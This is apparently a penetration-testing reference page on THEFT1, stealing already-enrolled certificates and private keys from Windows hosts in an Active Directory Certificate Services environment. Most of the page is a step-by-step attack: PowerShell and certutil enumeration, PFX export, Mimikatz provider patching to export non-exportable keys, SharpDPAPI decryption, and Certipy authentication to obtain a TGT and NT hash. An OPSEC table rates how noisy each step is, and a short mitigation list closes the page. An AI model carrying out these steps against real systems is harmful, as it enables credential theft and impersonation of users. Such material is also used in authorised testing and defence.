theft1-exporting-certificates-and-keys.md (4905B)
1 --- 2 title: "THEFT1 — Exporting Certificates and Keys" 3 description: "THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are already enrolled on a machine you control, rather…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs"] 7 tools: ["Mimikatz", "Certipy", "faketime", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT1 — Exporting Certificates and Keys.md" 11 --- 12 # THEFT1 — Exporting Certificates and Keys 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Credential Theft (local) | 19 | **Difficulty** | Low | 20 | **Pre-requisites** | Code execution as the cert's owner (or SYSTEM); a certificate with a usable private key in a Windows store | 21 | **Tools** | Certipy, Mimikatz, SharpDPAPI, certutil | 22 | **OPSEC Noise** | Low–Med — local API calls; Mimikatz key-patching touches LSASS/CryptoAPI | 23 | **One-liner** | Pull a certificate **and its private key** out of a compromised host's certificate store, exporting to a `.pfx` you can authenticate with anywhere. | 24 25 *** 26 27 ## What Is THEFT1? 28 29 THEFT1 is the simplest credential-theft primitive in the ADCS taxonomy: harvest certificates that are **already enrolled** on a machine you control, rather than requesting new ones. If a user or machine has an authentication certificate in their Windows store, that `.pfx` is a password-equivalent — export it and authenticate as them from your own box. 30 31 The only wrinkle is the **exportable** flag. When a key is marked non-exportable, the standard export APIs refuse. Mimikatz can patch the CryptoAPI (CAPI) and CNG providers in memory to lie about that flag, making non-exportable keys exportable. 32 33 *** 34 35 ## Step 0 — Enumerate Local Certificates 36 37 ```powershell 38 # PowerShell — list certs in the current user's personal store with private keys 39 Get-ChildItem Cert:\CurrentUser\My | Where-Object { $_.HasPrivateKey } | 40 Format-List Subject, Issuer, Thumbprint, NotAfter, @{n='EKU';e={$_.EnhancedKeyUsageList}} 41 42 # Machine store (needs admin) 43 Get-ChildItem Cert:\LocalMachine\My | Where-Object { $_.HasPrivateKey } 44 45 # certutil equivalent 46 certutil -store My 47 certutil -user -store My 48 ``` 49 50 Look for certs with **Client Authentication (1.3.6.1.5.5.7.3.2)**, **Smart Card Logon**, **PKINIT**, or **Any Purpose** EKUs — those authenticate to AD. 51 52 *** 53 54 ## Step 1 — Export (Exportable Keys) 55 56 ```powershell 57 # PowerShell — export to PFX with a password 58 $pw = ConvertTo-SecureString "Export123!" -AsPlainText -Force 59 Export-PfxCertificate -Cert Cert:\CurrentUser\My\<THUMBPRINT> -FilePath C:\Temp\stolen.pfx -Password $pw 60 ``` 61 62 ```powershell 63 # Mimikatz — export every cert + key from both stores (writes .pfx files to cwd) 64 mimikatz # crypto::certificates /export 65 mimikatz # crypto::certificates /systemstore:local_machine /export 66 ``` 67 68 *** 69 70 ## Step 2 — Export (Non-Exportable Keys) 71 72 If the key is flagged non-exportable, patch the providers first, then export. 73 74 ```powershell 75 mimikatz # privilege::debug 76 mimikatz # crypto::capi # patch CAPI in this process 77 mimikatz # crypto::cng # patch KeyIso (CNG) — needs SYSTEM 78 mimikatz # crypto::certificates /export # now succeeds on non-exportable keys 79 ``` 80 81 ```powershell 82 # SharpDPAPI alternative — pulls certs and decrypts keys via DPAPI, ignores the flag 83 SharpDPAPI.exe certificates /mkfile:masterkeys.txt 84 ``` 85 86 *** 87 88 ## Step 3 — Convert & Authenticate 89 90 ```bash 91 # Bring the .pfx to your attack host. Strip/normalise the password if needed: 92 certipy-ad cert -export -pfx stolen.pfx -password 'Export123!' -out clean.pfx 93 94 # Authenticate the stolen identity (PKINIT -> TGT + NT hash) 95 certipy-ad auth -pfx clean.pfx -dc-ip $TARGET 96 ``` 97 98 > [!tip] Clock skew 99 > If `certipy auth` returns `KRB_AP_ERR_SKEW`, wrap it with faketime. See faketime-cheatsheet. 100 101 *** 102 103 ## OPSEC Considerations 104 105 | Action | Log / Artefact | Noise | 106 | :-- | :-- | :-- | 107 | `Get-ChildItem Cert:` / certutil enum | none by default | 🟢 Low | 108 | `Export-PfxCertificate` | CAPI2 operational log 70/90 (if enabled) | 🟢 Low | 109 | Mimikatz `crypto::cng` | LSASS access, patches KeyIso | 🔴 High (EDR-sensitive) | 110 111 *** 112 113 ## Mitigation 114 115 - Mark private keys **non-exportable** and back them with a **TPM** or **HSM** where possible. 116 - Restrict local admin / block LSASS access (Credential Guard, ASR rules) to stop provider patching. 117 - Prefer short-lived certificates so a stolen `.pfx` has a small window. 118 - Monitor for Mimikatz `crypto::*` behaviour and unexpected `.pfx` creation. 119 120 *** 121 122 ## See Also 123 124 - _ADCS Attack Methodology Guide · THEFT2 — User Certificate Theft via DPAPI · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) 125 - Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki — Post-Exploitation](https://github.com/ly4k/Certipy/wiki/07-%E2%80%90-Post%E2%80%90Exploitation)